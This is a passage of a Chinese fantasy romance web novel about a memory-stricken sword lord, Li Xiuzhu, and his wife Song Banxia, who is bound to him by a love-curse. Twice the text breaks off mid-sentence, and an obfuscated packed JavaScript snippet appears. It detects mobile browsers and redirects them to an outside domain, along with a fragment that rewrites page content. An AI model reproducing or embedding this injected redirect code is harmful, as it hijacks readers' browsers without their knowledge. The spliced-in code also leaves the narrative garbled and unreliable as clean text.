其实,如果她非要不放手,也不是没有办法让李修竹没办法离开自己。 下毒、咒术、囚禁……修真界有很多强人所难的东西,就像情劫丝,让他不由自主地对她产生爱意,而不会伤及于她。 但同时,宋半夏也知道,那些东西是虚假的。 她不想要他虚假的爱。 也不想因为自己的爱,捆住他的手脚,使他再也没办法离她而去。 那不是她喜欢的逍遥剑君。 她希望他腾云直上,她希望他不要困在任何他不喜欢的阴暗情感中,她希望他永远端坐高台。 如果他有一天选择飞升离开这人世,宋半夏觉得自己会为他立碑立庙,日日虔诚供奉,不为别的,只希望他做他自己就好了。 宋半夏感受着他温暖的怀抱,感受他的手轻轻拍在她的后背,像是在哄孩子一样,忍不住溢出眼泪来。 泪水渗在他的衣襟,留下不为人知的痕迹。 再等等吧,再等两天,等她下定决心,再像砍断她的手脚那样,斩断他们之间的联系,宋半夏于心底祈求道。 万一万一他忽然记起来了呢? 万一,万一他也喜欢到已经无法离开她了呢? 两个人相互依偎着,在外面虎啸的寒风中睡去。 等到早上,宋半夏醒来的时候,身边罕见空了。 她懵了一下,看着空荡荡的床榻,回想起昨日的事情,顿时心情跌落谷底,坐了片刻,重新扑回床榻哭了一通。 李修竹起了个大早,当然,并非自愿。 再躺下去,他觉得自己可能要踏入衣冠禽兽的行列了。 虽说……现在似乎也没差。 他咳了一声,曲起手指抵了抵自己鼻尖。 厨房已经开始修整,但东西还需要重新采买。 李修竹知道宋半夏有吃早食的习惯,练了一会儿剑,干脆出门给她买了早食。 其实修真之人,不应该重视口腹之欲,因为不利于修行。 李修竹自己都曾经因为要修行的原因,而禁过很久的餐食。 可是他想了想,觉得宋半夏也不差这么一顿两顿了。 对于这一点,李修竹是有些无奈的。 “李剑君来给半夏夫人买饭啊?” 餐铺的老板跟李修竹打着招呼,似乎早就习惯了。 李修竹点了点头,经由老板推荐,买了几个新出的油果子。 餐铺老板不肯收钱,被他强硬塞过去了。 老板乐呵呵的笑,有些不好意思,又多送了两个果子,问:“李剑君什么时候跟夫人生两个娃娃啊,这么多年了,我都长了白发了,剑君和半夏似乎还是原来模样,不知道我还有没有机会看到您两位的孩子降生。” 李修竹一愣,拎着吃食的手有些不自然地僵硬,说:“修士本来就不易有子……” 看到老板的目光,他顿了顿,改口:“应该是有机会的。” 老板那双带着点落寞的眼睛里,闻言又亮了起来,喜笑颜开道:“到时候小剑君来,我的店里所有东西都由他免费吃。” 李修竹闻言也爽快地笑了笑,扬扬手中的果子离开了。 走出不远,听见身后传来的声音。 老板媳妇掩唇偷笑,跟老板咬耳朵道:“这么多年了,剑君夫妻的感情看着还似当年新婚一样呢,你刚刚一提到小剑君,咱们剑君耳朵都红透了。” 老板却摇了摇头说:“一开始这二位的感情可并不算好,我听说啊……” 他有些避讳莫深:“听我去世的阿爷说,咱们这位半夏夫人,曾经并不是心甘情愿嫁给剑君的。而且咱们剑君本身也讨厌修仙世家娇娇女的做派。他们当时都赌,二人几时受不了对方,离开这里呢。” 老板媳妇很是吃惊,她嫁来这里的时候,李修竹和宋半夏已经是亲亲热热一同出门吃早食的程度,完全想不到二人还有那样的过去。 “那……谁赢了?” “……”,老板点了她的额头一下,“当然是谁都没赢!嗯,非要说的话,应该是给剑君种下情劫丝的人赢了。” 老板媳妇想了想说:“不对,我觉得是剑君夫妻赢了。” 这两人如今这番模样,不知是不是合了那个下情劫丝的人的心思,不过想来应该不合那人心思,毕竟虽然二人阴差阳错真的相处的很好,但下丹毒的人肯定是怀着恶毒心思下的。 老板叹道:“看他们这般恩爱,你也没法想象,当时结婚第一天,半夏夫人自己早早起床出来吃了个早餐,还没给剑君带一点东西回去吧?” 老板媳妇笑道:“半夏夫人还有这样冲动的时候呢?” 老板:“那是,听说当时我爷爷他们,都以为结婚第一天,半夏夫人就反悔了,要跑路呢,心惊胆战了很久,才发现她好像真的只是饿了,出来吃一顿饭。” 随着李修竹走远,耳边的声音也就变得模糊。 原来他们二人竟还有这般过往。 李修竹垂了垂眼,忽然很想要见到宋半夏。 * 回到宅子内,李修竹将买的饭放到宋半夏平时吃饭用的正堂。 外面霜雪落在竹子翠绿的叶子上,显得分外洁白。 这里一般不会下雪,今年是特例。 他画了个法阵,给饭食保温。 心里期待着宋半夏见到后会露出怎样的表情。 又想,或许应当问一下过去的事情,说不定能拉进二人之间的距离。 闻奈早上又来了一封信,除了催促他解决情劫丝的事情,就是问他什么时候去找那妖修算账。 其实关于李修竹的记忆,闻奈检查过他的身体,除了有些受损的经脉外,并没有更多的咒术一类的痕迹。 这也就说明,可能不用管,不久之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442466|184644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后就能恢复,但也可能,永远恢复不了。 正要起身,看到了未处理的纸篓里的信纸。 不知道是出于什么原因,他竟将那个最碍眼的信纸抽了出来,展开,随即面色陡然冷了下去,甚至有一瞬间变得有些阴沉。 倘若宋半夏看见了,定然会以为他恢复记忆了。 信纸上并没有写什么过分的事情,不过是通篇密密麻麻地写满了写信人的爱意,与对李修竹的敌意。 但让李修竹迸发杀意的是信的末尾,写信的人说要带走宋半夏,不再让她受李修竹的囚禁。 囚禁一时宋半夏没有提,李修竹也就没有问。 他并没有在宋半夏身上找到任何被囚禁的痕迹,但宋半夏自从嫁给他后就再没有出过远门,这倒是无可辩驳的事实。 难道是他曾经口头威胁过她吗? 李修竹有些纠结。 他是绝想不到,有人就是不愿意于江湖游荡的,而且宋半夏也明显不是那种热爱打坐修行的人,因此更没有任何理由十年如一日地待在一个地方。 又不闭关,又没有仇敌,被他威胁过似乎显得十分合理。 他想了想每次出门,宋半夏都要佩戴的玉佩。 那东西是他的,有定位功能,所以昨天他才能很快找到她。 李修竹将信烧了。 就算她想离开他,他也绝不会把她交给一个看起来这样轻浮孟浪的人,李修竹冷冷地想道。 转身的那一刻,李修竹忽然猛然晃了一下。 “一拜天地!” 他低头看去,自己正穿着一身红色喜服,与宋半夏拜堂。 这是…… 他的记忆? * 求娶之时,李修竹已经做足了一切的准备,但当他牵着她,面对面跪下去时,仍不由得心慌意乱。 他跪在地上,凝视着拿着团扇只露出一双弯弯眼睛的她,深深地将头磕了下去。 他吞下属于他的苦果,牵紧了手中红布,将他的新娘带向洞房之中。 她笑的刺眼,让他眼眶通红。 来自她的这份情意是真是假李修竹已经没有力气去分清。 理智告诉他,他不该这样做,耽于情爱,实在是有违逍遥道的本性。强求来的缘分,更会让他堕入万劫不复的地步。 李修竹身世坎坷,走过比其他人更多的弯路。他如今所拥有的一切,全是自己的鲜血和泪换来的。如果有人曾经经历过他所经历的一切,就会知道他此刻的选择有多么荒唐。 尽管如此,李修竹还是做下了这一切。 他浑浑噩噩,将喜服脱了,躺在床上,很疲倦地闭上眼。 宋半夏的气息待在屋子里,若即若离。 他虽闭了眼,五感却仍然系在她的身上。 窸窸窣窣的声音过后,她的气息临近,语气温温软软,凑到他耳边问:“你喝醉了吗,李剑君?” 李修竹没有醉,他千杯不醉。 他感到自己的额头一凉,是她伸过手来放到了他的额头上。 “好像有点烫。”宋半夏嘟囔道。 并不是他的身子烫,而是她的手太冷了。 她是凡人,凡人对于四季的温度变化没有什么抵抗力。或许是身边常有人关切,所以她连天冷关窗也不会。 她在他身边磨蹭了片刻,往他腿边蹭去,要帮他脱靴。 李修竹睁开了眼,起身握住了她的手。 她吃了一惊,猛然抬头看过来,眼睛睁得圆圆的,张了张嘴,哑口无言。 李修竹沉默着,脱了靴子,然后握住她的手,用灵气暖热。 她低着头,不知在想什么。 李修竹问:“还冷吗?” 宋半夏顿了顿,小声答:“有一点。” 李修竹便捏了法决,手一挥,就将门窗关紧了。 她抬起头来,看看门窗,又看看他,说:“好厉害。” 李修竹有些失笑说:“哪里厉害了。” 宋半夏:“我第一次见到还能这样用法咒的。” 李修竹:“这很简单……以后你想学我也可以教给你。” 她腾地一下飞红了面颊,呐呐道:“可我没有修炼资质,用起法咒来,十次里面只有一次能成功。” “那也很厉害了。” 这话简直不像是大乘尊者能说出的,就连当世大能一咒毁天地的时候,他的评价也不过是‘一般般,只是看着气派’。 宋半夏咬了咬唇,噢了一声,似乎并不满意他的回答。 李修竹道:“等以后你的修为会逐渐提升的。” 宋半夏抬头看着他,眼睛里水波盈盈:“以后?” 以后…… 以后为什么她的修为会逐步提升? 因为解情劫丝需要用到特有的双修功法。 门外门内寂静无声,窗幔因为没有勾紧,而垂了下来。 李修竹的喉结滚动了一下,不知不觉被她握住的手,被他自己攥紧了。 他慢慢朝她倾覆过去。 一切都好像水到渠成一般。 春宵苦短,她疼哭了。 李修竹慌得额头全是汗,匆匆结束,不管自己怎么样,吻在她发间,轻声哄着她。 宋半夏很好哄,抽抽搭搭地应着,并不发脾气,一副任人宰割的模样。 早起,一室温凉。 李修竹并没有睡沉,因此很轻易地就发现宋半夏醒了过来,他闭着眼,心脏砰砰直跳。 然而,在发现她穿了衣服往外走去后李修竹的心像是被拧紧了,放在枕头上的手青筋突出,他的脸色苍白。 但着急去吃东西的宋半夏并没有看到。 神识跟着她到了府门口,中断了一瞬。 李修竹以为她铁定是反悔跑了。 他不知所措,觉得自己好像已经走到了死胡同。 她不爱他,对此,他没有任何办法。 情劫丝也下了,承诺也许了,威逼利诱巧取豪夺的事情他都干了,但仍然是这般结局。 李修竹觉得连呼吸的空气都是痛的。 过去了不知多长时间,就在李修竹要狠下心来采取囚禁计划的时候,宋半夏哼着歌回来了。 没人知道李修竹那一刻是什么心情。 她的脚步和歌声在厢房门口停下,李修竹心乱地可以炒一盘菜了。 宋半夏推门进来的转身关门的那一刻,他终于忍不住睁开了眼睛,问出之前没敢问出的那句话:“怎么起这么早,要去做什么?” “没……没做什么,你醒了啊剑君。” 她回到了他的身边,走入了他的圈套。 * 李修竹从回忆中将神识拔出来,有些无力地将胳膊撑到了桌子上。 对于这突如其来的记忆和沉重的情绪,他有些茫然。 宋半夏的声音传来:“剑君?” 11. 第十一章 李修竹抬头看去。 宋半夏姗姗走了过来,看到桌上早餐,怔了下,又看到李修竹的脸色,顿时紧张起来。 三两步,她迈到了李修竹的身前,伸手扶住他,问:“你怎么了?脸色怎么这么白?” 李修竹坐了回去,说:“没事。” 虽然这样说,但他的脸色几乎肉眼可见地不是很好,她扶住他时,感受到他的肢体明显地僵硬了一下,脸色绷紧,变得更不好看了。 宋半夏立刻怀疑,他的失态与她有关。 李修竹是个将心思藏的很深的人,他看着潇洒极了,出了门跟路边七八十岁的大爷也能坐着胡侃半天,但大乘期的修士,上百年的阅历,从一名凡人爬到今天的位置,单纯这个词是跟他无缘的。 谁站在他面前,就算不被他的气势所压倒,想到他的战绩也会无端生出三分畏惧。 从他们成婚第一天起,他想隐藏的事情,宋半夏绝不会去探究半分。 但如今她心中却不由得慌乱起来。 或许是因为曾经拥有,所以当即将失去的时候,人们总会变得贪婪而因此完全忘记了当初在心中对对方许下的诺言。 宋半夏伸手贴贴他的额头,被他躲过,将她的手拿了下来放在他的手中。 他很勉强地笑道:“我真没事。” 真的没事吗? 宋半夏:“是头疼吗?” 李修竹在考虑要不要和她坦白这件事,但那来自过去的记忆所包含的情感实在是太过沉重、太过跌宕起伏,以至于他觉得自己好像耗尽了所有的心力,竟完完全全张不开口了。 握着她的手,看她蹲下身子在他面前,扬起漂亮的脸庞,眼睛里含着担忧和光,那颤动的、扑闪的长睫毛,像蝴蝶的触须,勾在他的心里。 李修竹伸出手,轻轻摸在她柔软的脸上。 他一伸出手,她就贴了过来,他一勾唇,她便也随着他笑,好像他的一切喜怒哀乐都被她放在心里,被她无比关切,他喜她便喜,他忧她便忧,她完完全全地属于他,只属于他。 这一瞬间,李修竹惊愕至极地发现,他跟那个他所厌憎的、难以理解的那个未失忆的他共情了。 一直如此,有何不好? ——仿佛心底有谁对他说。 在李修竹倾头吻上去的时候,他猛然抽出了自己的手,站起身要跑。 宋半夏被他一晃险些跌倒地上,她跌疼了,睁开眼懵了一瞬,心中立刻反应过来,气的要死,脾气上来,头都没来得及扭过去,立刻大叫:“李修竹!你敢跑出去,我就立刻马上跟你合离!我一定会的!你今晚也不要再睡在东厢房了!我会把你撵出府去!反□□上的人都听我话!东西也都是我买的!” 她颤抖地扶着面前的椅子,胸膛急剧喘息着,静了片刻,才发现自己到底说出口了什么话。 这本该是应允的话藏在她心里多日,像颗石子一样硌人,发怒的时候,就口不择言地说出口了。 宋半夏立刻后悔了,咬了下唇,她那浅红色的唇,立刻被压出白色痕迹。可话既然说出口了,就再也没办法收回去了。 堂前幽静,连院子里的鸟雀也没有鸣叫的,她心里霎时像空了一块似的。 疼痛像被寒冬冰封迟迟没有到来,徒留呼啸的风,将一切静默。 她等待着,等待命运走过,将噩耗或喜讯传达给她,但她什么都没有等到。 李修竹僵硬地扶着门框,想转身的冲动和对她的担心皆落在她的话语中溃不成军,他的手逐渐攥紧。 噩梦成真,她毫不留情地说出了那两个他一直在逃避的字。 合离。 曾经让他轻易说出口的二字,如今竟让他不敢再听下去,胸腔之中汹涌的情绪,让他想回身恶狠狠的去质问她,那些无法宣泄的欲望压制不住地往上翻腾。 宋半夏滞涩地将头转过去的时候,李修竹猛然松开青筋直突地手,跨步迈出,他的背影踉跄又狼狈,但无人看见,只有树上的鸟儿歪歪脑袋,对这座宅邸的两个主人,十分不解。 以往的时候,每当宅邸的男主人回来,他们都会得到比平常更多的粮食。 这是因为这家的女主人每年冬季都会在花园里撒一些粮食,投喂它们这群找不到食物的鸟儿。而男主人呢,性子急,每次回来陪着女主人撒的时候,总是一把扔掉许多,没一会儿就把女主人本来要撒三天的量全撒干净了,然后牵着女主的手在她耳边耳语。 今年例外,下了冬雪,宅邸好像也不再热闹了。 鸟儿扑棱扑棱翅膀,去别家讨食去了。 宋半夏回头只见到了那暗色衣角。 对于李修竹真的离开了的事实,宋半夏不敢置信之余又感到了三分的情理之中和三分的不知所措。这些年的相处,随着时间的增加,李修竹对她的纵容也逐渐增加,导致她再也没办法回到当初他们才刚刚认识的时候了。 她再也找不到那种小心翼翼的心情,现在她看到他就会不由自主地怨恨地想——他凭什么不爱她。 宋半夏从地上自己爬了起来,没哭,呆呆地想着他们的过去。 回忆太长太长,乱糟糟的捋不着头绪,她忽然想起去年圆月夜李修竹环抱着她,牵着她的手在纸上临摹。 那是她最喜欢的书法大家的字,可她怎么也临摹不好,气的她扔了很多纸团,一直扔到正在看信件的李修竹身上。 李修竹噗嗤一声笑了,抬头看到满地的纸团和她撅起来的嘴,那双漂亮的眼睛委屈又生气地看着他,于是他放下信,走到她身边牵着她的手,教她。 其实,宋半夏觉得,他临摹的字也一般般,只比她多出一点孤寒的意境罢了。 不过,她就喜欢那字的意境,而且他温声细语地教她,她的脾气就散了,于是认认真真地学。 一笔一笔,横折弯钩。 他教的并不认真,没一会儿就维持不住老师的形象,吻在她的发间、她的耳朵上,在腰间揽着她的手用力。 宋半夏还想多练两个字,不理他。 李修竹粘人的紧,很快她握笔的手就软了,喘息也随着他的喘息乱了。 情到深处,他在她耳边沙哑难耐地叫她的名字,许下一生一世的承诺。 一场春雨过后,她像被狼舔舐后的小崽子,浑身湿哒哒的,软趴趴地用手抵着他的肩,他衣衫完好,唇上湿润,仰起头看向她,目光灼灼又晦涩,最终将她抱在怀里。 她咬咬唇,转过脸,脸颊的皮肤擦过他艳红的衣衫,衣衫冰凉,而她的脸颊烫热。 书房外的春风和煦,阳光温暖洒落着。 他看起来已经对她喜爱至极。 ——这种错觉一直延续到了今天。 宋半夏听见白琪的声音,眉目倦怠地回过头去,看见此刻堂外又落下了雪。 白琪见到她的神情,当场怔住了。 “夫人?” 她看起来十分诧异。 宋半夏问:“怎么了?” 白琪走近,把餐盘放到了她面前,肃起一张脸谨慎地询问问:“是出了什么事吗?夫人。” 宋半夏觉得自己明明表现的很平静,既没有哭也没有闹,所以很疑惑白琪为什么这么问,她心里想着什么,也就直接说出了:“没事,你为什么这么问?” 白琪并非无端询问,实在是她从没看过宋半夏露出这样的表情来。 在她遇到她的那一刻开始,这位修仙世家的宋小姐就是个活泼的个性,嬉笑怒骂都在她的脸上生动体现,若是其他像她一样身份的女子没有修仙的资质,要么就会执念太重、心机深沉地想着怎么把别人的灵根挖过去,要么就是阴郁落寞像阴雨连绵的天空。 宋半夏却一点也不一样。 她似乎对于自己凡人的身份接受的很坦然,不是说认命那种坦然,而是‘得之我幸,失之我命’那般的潇洒。 白琪刚被她捡到的时候,有的时候会想,这位大小姐有点过于天真了,她早晚会狠狠摔一跤的,就像她自己一样。 后来白琪心想,如果有一天宋半夏遇到什么麻烦,她一定会尽她可能的去帮她,虽然……她的仇还未报。 再后来,白琪每天都对上苍祈求,希望宋半夏就这么天真地渡过这一生,不要像她一样,最好,一点麻烦也遇不到。 宋半夏果真每天过得很有活人气,一百年来,从来没有改变什么。 而今天,她的脸上身上都透露出了一种深深的疲倦,那种白琪从未见过的疲倦,好像这颗永远出于春夏的树,骤然间落满了皑皑的雪。 白琪说:“真的没遇到什么事吗?” 她的目光落到了桌子上未拆封的早点上。 这早点哪来的? 白琪垂下眼睫,遮住了自己眼里的情绪。 “没有,我这刚起床呢,能遇到什么事?”宋半夏眉宇间的疲倦隐去,好笑地看着白琪说,“我看看你给我端了什么来?嗯,燕窝莲子汤,你怎么知道我想吃这个!” 她看起来很惊喜,然而握着勺子把的手有些虚,好像力量已经被耗尽,连一根勺子也没办法握住了:“我就不跟你让了,我要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李修竹这边也乱极了,体内的灵力仿佛生了自己的想法,随着他的情绪在体内乱窜。他知道,这是走火入魔的征兆,若生心魔,要除去就麻烦了。 他立刻去了练功用的房间打坐、静心。 这里还是一百多年前的样子,只是角落里的箱子,比一百年前多堆了几箱,上面布满了灰尘,和干净整洁的府内各处比起来,格外突出,想来宋半夏并不常来这里,即便来,也不会特意翻动他的东西。 他不清楚是否是他的要求,如果是,那他可真是太渣了。 ——李修竹再一次唾弃了以前的那个自己。 他看了那角落片刻,顺从了自己的内心,起身,朝箱子伸出手。 打开箱子,里面是一摞一摞的功法,以及…… 李修竹怔然地看着被他刚刚失手洒落地上的画,他忽然意识到什么,将几个箱子全部打开,除了第一个最为陈旧的箱子,从第二个箱子开始就出现了各种各样的女子用的东西,以及明显出自他手的各式各样的宋半夏的画像。 简直……像是……变态。 李修竹猛然将自己扶着的一个箱子盖上了,呼吸杂乱起来。 他急促着呼吸着,只觉得有一股毛骨悚然的热气直冲他的天灵盖,身上的寒毛全部竖了起来。 之前只是道听途说,如今他才是实打实地知道了自己过去到底有多么丧心病狂。 宋半夏之前明明说过,府内的地方没有她不能去的,包括他的宝库的位置她也知道,并且可以随时进去。 李修竹起身,走到了一盏格外光滑的烛台前,伸手拧了一下,顿时,挂着静心、斩妄四个字的墙壁上打开了一道缺口。他把自己的血滴到了那个缺口里面。 墙壁上顿时闪过万千灵光,露出里面的门来。 这道门就是进入底下宝库的门。 也就是说,他将那堆东西,放在宋半夏的眼皮子底下,并且没有用任何措施封印。 只要宋半夏一时兴起,打开拿些箱子,就能看见那些一张一张感情浓烈到快要溢出来的画和疑似是她剩下的半罐胭脂、她染上墨迹的金丝裙、她破了一个口子的绣花鞋…… 李修竹想想那个场景,手都忍不住要打哆嗦了。 堂堂大乘尊者,是找不到一个可以照的镜子吗? 他嘶了一声,暗骂:李修竹你这个混账东西,每天照镜子的时候不会心虚羞愧吗?! 这些年,他到底都做了些什么事啊! 等到李修竹把杂乱的灵力和心境终于整理好,他在练功房又维持着打坐的姿势坐了很久,然后起身,一件一件、一页一页地将关于宋半夏的东西放了回去。 他还是没办法接受这一百年自己的所作所为。 12. 第十二章 李修竹在练功房待了三天。 修士百年如一瞬,他并没有意识到有什么问题。 * 宋半夏从角落里自己钻出来的时候,也知道他去了练功房,她有些失落,但也并没有多说什么。 当晚她心惊胆战地等着他回来,因为这一百年间,李修竹从来没有把她丢下,去练功房修炼的时候。 她想,她就当做自己什么也没说,不承认合离这件事。 宋半夏把头花拆了,洗漱好坐在床上,坐了一会儿,又觉得还是装睡比较好,等他回来,她睡着了,他便也没法再跟她谈白天的事,或者说解开情劫丝的事了。 这种耍赖的事,两个人也不是没有做过,亲亲热热的时候,再荒唐的本性都曾在对方面前显露。 宋半夏立刻钻进了被子中,闭紧了眼。 时间一点一滴的过去,她等的艰难,迷迷糊糊,好像回到了过去修炼的时候。 虽然宋半夏是个知足常乐的人,但出身于修真世家的宋家,一点法术也不会,这实在有点说不过去。 比起她,她的父母要焦急的多。 如果不是宋半夏曾经严厉地告诉她爹,让她爹一定不要去多做任何事情来使她能修炼,恐怕她爹真的有可能会做出一些耸人听闻的事。 宋半夏是活的通透,并不是真的不知道修真世家里的弯弯绕绕。都说闯十趟秘境,也不如进一次世家,都是龙潭虎穴,都是吃人不吐骨头,世家里的人比起秘境的妖兽唯一好的点就是他们‘吃人’的时候,会提前优雅地跟你打声招呼。 斯文败类有很多,宋半夏也曾遇到过,只那一次,她就不再参加那样的集会了,即便参加集会,也绝不跟世家的一堆人坐在一块,反正,宋家、她父母给了她这种资本,不用白不用。 总之,因为种种的这些压力和父母的忧心忡忡,宋半夏也曾努力过一段时间。 她想,就算她没办法赶上其他人,至少也要能有自保的能力吧? 直到有一次她独自出门历练,跌入了一处秘境。那地方本来只是一出平平无奇的树林,林子里是宋家圈养的只要修炼过就能杀死的小型灵兽,谁想得到,那么不巧,让她碰上了个没有清理过的秘境。 更可悲的是,宋半夏只有跌进秘境和掉出秘境的惨痛记忆,而秘境中的历练她全忘了,没有一点记忆。 因为这次秘境之旅,宋半夏彻底躺平了,宋家一堆人更是求着她别再努力了,据说,在她跌进秘境的那段时间,宋家风声鹤唳,就是曾经拌了她一脚的草都让她父母和大哥拔起来扬了。而那些曾经多嘴多舌的宋家旁系,更是被收拾了个底朝天。 宋半夏要是再晚个一两天出来,估计宋家就要和沈家一起给中洲换个乾坤了。 中洲五个宗门,两个顶级大宗受宋家和沈家的资助,要是两家真要闹起来,估计仙盟盟主也压不住。 什么?你说倘若沈家不和宋家站在一起怎么办? 修仙世家,一荣俱荣一损俱损。 两家绑定已久,如果沈家不站队,那宋家就要站队北海尤家了,到时候谁也得不到好处。 想到沈家,宋半夏不免想到了她那位曾经的未婚夫,沈家少家主,想到沈家少家主,她就不免想到她曾经最好的好友赵琳。 宋半夏觉得有些头疼。 她已经更长时间不去考虑这些事了,如今心绪杂乱,那些事情就像游鱼一样跳了出来在她脑海里翻腾。 她与赵琳的决裂很突然,也很巧合。 作为仅次于宋、沈、尤三家的四大后起新秀世家之一,赵家当时正同马家竞争仙盟第九席席位——仙盟八大席位,三世家五宗门,当年正值多事之秋,考虑到新兴的四大家族,便决定多设一个席位。 赵家本来是比不过马家的,但他们和沈家关系在那一段时间突飞猛进,因此获得了第九席的席位。 为了攀附沈家,他们打起了联姻的主意。 宋半夏跟沈广陵其实没有什么情意,若非要从他们之中找出点什么的话,大抵就是青梅竹马的发小情意吧。毕竟她跟沈广陵的婚事其实是还在母亲肚子里的时候定下的,谁也没想到两人的修仙天赋简直是一个天一个地。 沈家和宋家一直以来都是盟友,沈家家主又和她爹是好友,宋家不提解除婚约的事,沈家也是绝不可能提的。 不过,沈广陵他母亲一直十分不看好宋半夏,认为宋半夏实在配不上沈广陵,三番四次地找她麻烦。 宋半夏本来是要退婚的,结果被沈母一激,气了,还就不说退婚的事,非要恶心一把沈母。 于是婚约就这么拖着,直到赵琳一事暴露。 赵琳和沈广陵的事,如果是他们两个任何一个人来告诉她,她都不会那么生气。但宋半夏却是从别人口中得知的。所有人都知道了,包括沈家的狗,作为沈广陵的未婚妻、赵琳的挚友,她是最后一个知道的。 宋半夏其实很多次跟赵琳说过自己没退婚的主要缘由,如果赵琳同她老老实实坦白说赵家逼迫她去爬沈广陵的床,或者干脆大大方方地同她承认喜欢沈广陵,那她绝对会站在她这一边,为她加油。 赵琳搞不懂宋半夏为什么跟她决裂,她觉得是她这件事落了宋半夏和宋家的脸,所以宋半夏生气了。 她更是向天发誓,自己绝没有要跟沈母站在一起的意思。 但宋半夏已经真实受到了伤害,她甚至不愿去想——那些她不明真相的日子里,沈母到底在背后怎么笑话她的。而且赵琳被赵家拿捏的太死了,怎么劝都劝不动。 确实,家中的确给了她们很多的便利,即便她们离开俩,只要还姓沈,只要还姓赵,大家都会为此退步。但为了家族好,并不意味着要把自己的一切搭进去吧。 何况赵琳并非没有选择。 她天赋好,勤恳修炼,有朝一日未必不能成为庇护家族的人。 可赵家一点也不重视她,吸骨敲髓,把她当做一件随手可以用掉的玩物。 宋半夏同赵琳说了很多次,让她不要太听家族的话,她却总是笑着应下,转头就忘。 根据过往种种经验,这次沈广陵的事爆发,其实亦在情理之中。 当天宋半夏去街上喝茶看戏,一个跟她不太对付的人就把赵琳的事情捅到了她的面前。 宋半夏当时就感到了背叛,让跟着她的长老收拾了人,扭头回了家。 赵琳听闻后,好歹后知后觉来找了她认错。 沈广陵那厮一直都没露面。 她们大吵了一架,紧接着没过多久就出了情劫丝的事。 宋半夏干脆退亲嫁人一套流程三天搞定。 她嫁人当天听说沈广陵倒是不知道从哪个犄角旮旯里回家了,但是也没来喝喜酒,估计是自己知道没脸吧。 他要是来,宋半夏也绝不会理会他的。 这件事,沈广陵实在是办的太令人恶心了,基本上把他们那一丢丢的青梅竹马的情意抹灭了。 嫁给李修竹后,宋半夏忙着攻略李修竹,更不愿意去理会世家那群人。 而且她本身就是一个不愿意挪窝的性格,之前愿意到处乱窜,是因为要去见李修竹——谁叫李修竹是个十分爱到处乱窜的人,逼得她不得不这边的大比去一下,那边的选拔去一下。现在,李修竹就睡在她旁边,她就跟获得新手办一样,狠狠痴迷了一段时间。 大抵她被李修竹囚禁的传言就是这样被传出去的。 宋半夏迷迷瞪瞪地睡着了。 等到醒来,天寒地冻,门外风雪重,衾被旁温凉,李修竹没有回来。 宋半夏坐在床边,散着头发坐了很久。 到了她平日里起床的最晚时辰,白琪敲门,问她要不要吃早饭。 宋半夏隔着门说:“不吃。” 白琪立在门边静了片刻,说:“今日年三十,府里人都回家了,李厨娘几个还是在府里过,如果夫人想吃了,或者有什么新鲜的菜想做,同我说。” 往年这个时候,宋半夏都会研究新菜谱,她琢磨,李修竹掌勺。 “我今日辟谷,你不是每年今天都有事要做吗?不必管我,去就可以。”宋半夏语气平常说,“我又不是小孩子了——” 她话被迫止住,因为白琪推开房门,瞧见了披头散发的她。 一百年间,哪怕是两个人吵的最凶的时候,宋半夏也没有如今这样过。 白琪沉默掩门,将手里的点心果干茶水端到了桌子上,她是个聪明人,似乎在昨日就已经窥见她的情绪不对,因此断定她今天也不会吃饭。 “夫人从来只在快要进阶的时候辟谷,如今难道是又要进阶了吗?”她问。 宋半夏已经元婴,再进阶就该化神期了,她失笑说:“你看我这个样子像是能入化神期的人吗?” 她有些失落地说:“怕是我一声也没办法修炼到化神期了。” 白琪:“夫人跟剑君吵架了?” 宋半夏:“没……不能算吵架。” 她耷拉着脸,好像连看不见的耳朵都垂了下去,忽的又抬头看向白琪,问:“如果我要回宋家,你是留在这里跟着李修竹,还跟我回宋家?” 白琪想也不想地回:“我跟着夫人。” “我不是那个回家小住的意思,我的意思是说……是说……就是……如果……我是说如果,如果让你在李剑君和我两个人间选一个人跟随,你会选谁?”宋半夏生怕白琪听不明白。 李修竹毕竟曾是大乘期,不知道多少人想要拜他为师,如果不是他的指导,白琪也不会在剑道上进步这么快。 宋半夏虽然觉得自己是个十分值得跟随的人,但是……先天条件在这里,好像确实不如李修竹有价值。 白琪看着她无奈地说:“我是你救回来的,你忘了吗?” “虽然是我救得你,但是我不过是随手一救,也没干多大事。”宋半夏说,“你在这里待了百年了,如果要继续留在这里,谁也没法说什么……” 白琪打断了她,很不赞同,几乎有些严肃了:“我的命和你的命一样值钱,夫人。” 宋半夏眨了下眼,不解地说:“当然。” 白琪:“所以,你救了我,这事情很大。” “啊。”宋半夏张开嘴,有些呆滞。 “我不会追随任何人,因为我还有没完成的事情要做,但在此之前,如果你需要,我同样会为你赴汤蹈火。”白琪说着顿了顿,眉目里有了些俏皮,“如果有一天夫人自己偷偷跑了,我想府上的大家应该会觉得天塌了吧。” 宋半夏虽然对李修竹吼过府上的人都是她招来的话,但那只是气话。听到白琪这么说,她才觉得,原来自己在他们看来的确重要极了,她说:“不会吧。” 白琪:“夫人如果不信,可以自己去问他们。” 宋半夏闻言立刻狡辩:“我没想自己偷偷的跑。”说完她叹了一口气,眉宇间的疲倦终于轻了一些。 白琪:“所以剑君和夫人,到底出了什么事?昨日剑君怎么去了练功房,到现在还没出来?” 宋半夏说:“等我们两个商量好了再告诉你们。” 她这样说,白琪本来想问的话也就不好问了,其实她已经猜到可能跟情劫丝有关。 一百年了,这情劫丝都还没解开,恐怕……会对宋半夏的身体不利。 白琪心里担忧,只是不好插手他们夫妻二人之间的事,告辞后离开了。 宋半夏也并不询问她年年都在今天出门,第二天才回来到底是为什么。 这是她们之间的默契。 * 